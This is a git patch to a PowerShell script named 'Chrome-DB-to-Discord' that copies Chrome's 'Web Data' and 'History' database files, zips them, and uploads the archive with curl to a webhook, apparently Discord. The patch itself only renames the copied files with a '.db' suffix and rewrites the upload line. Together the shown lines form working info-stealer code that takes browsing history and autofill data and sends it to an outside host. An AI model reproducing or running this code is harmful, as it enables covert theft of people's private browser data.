From b0a20a4f2b0337910eba7b74e234ff9b077ebd1d Mon Sep 17 00:00:00 2001 From: egieb <93350544+beigeworm@users.noreply.github.com> Date: Mon, 17 Jun 2024 17:41:53 +0000 Subject: [PATCH] Update main.ps1 --- Chrome-DB-to-Discord/main.ps1 | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Chrome-DB-to-Discord/main.ps1 b/Chrome-DB-to-Discord/main.ps1 index 762898c..792da24 100644 --- a/Chrome-DB-to-Discord/main.ps1 +++ b/Chrome-DB-to-Discord/main.ps1 @@ -10,7 +10,7 @@ if (!(Test-Path $tempFolder)){ $filesToCopy = Get-ChildItem -Path $sourceDir -Filter '*' -Recurse | Where-Object { $_.Name -like 'Web Data' -or $_.Name -like 'History' } foreach ($file in $filesToCopy) { $randomLetters = -join ((65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_}) - $newFileName = $file.BaseName + "_" + $randomLetters + $file.Extension + $newFileName = $file.BaseName + "_" + $randomLetters + $file.Extension + '.db' $destination = Join-Path -Path $tempFolder -ChildPath $newFileName Copy-Item -Path $file.FullName -Destination $destination -Force } @@ -24,4 +24,4 @@ foreach ($folder in $tempFolders) { } Remove-Item -Path $tempFolder -Recurse -Force -curl.exe -F file1=@"$zipFileName" $dc | Out-Null \ No newline at end of file +curl.exe -F file1=@"$zipFileName" $dc | Out-Null